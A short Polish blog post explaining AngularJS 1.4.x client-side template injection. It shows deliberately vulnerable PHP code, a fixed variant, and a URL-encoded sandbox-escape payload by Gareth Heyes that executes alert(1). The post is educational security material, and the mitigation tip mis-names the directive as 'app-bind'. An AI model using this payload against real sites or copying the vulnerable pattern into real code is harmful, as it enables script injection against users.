Podatny kod:
<html>
<head>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.4.7/angular.js"></script>
</head>
<body>
<div ng-app>
<?php
$q = $_GET['q'];
echo htmlspecialchars($q,ENT_QUOTES);?>
{{3+3}}
</div>
</body>
Niepodatny kod:
<html>
<head>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.4.7/angular.js"></script>
</head>
<body>
<div ng-bind>
<?php
$q = $_GET['q'];
echo htmlspecialchars($q,ENT_QUOTES);?>
{{3+3}}
</div>
http://[site]/1.php?q=%7b%7b%27a%27.constructor.prototype.charAt%3d%5b%5d.join%3b%24eval(%27x%3d1%7d+%7d+%7d%3balert(1)%2f%2f%27)%3b%7d%7d
Stosuj app-bind i jego odmiany aby nie wstrzyknąć
{{ }}
. Payload:
AngularJS ver: 1.4.0 - 1.4.9
Author:Gareth Heyes
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}
Więcej na: http://blog.portswigger.net/2016/01/xss-without-html-client-side-template.html
Brak komentarzy:
Prześlij komentarz
Proszę zostaw swój komentarz w celu dopowiedzenia tego czego ja nie wiedziałem lub wywołania ciekawej dyskusji. Wprowadziłem moderowanie komentarzy ze względu na dużą popularność bloga wśród różnych SEO botów :)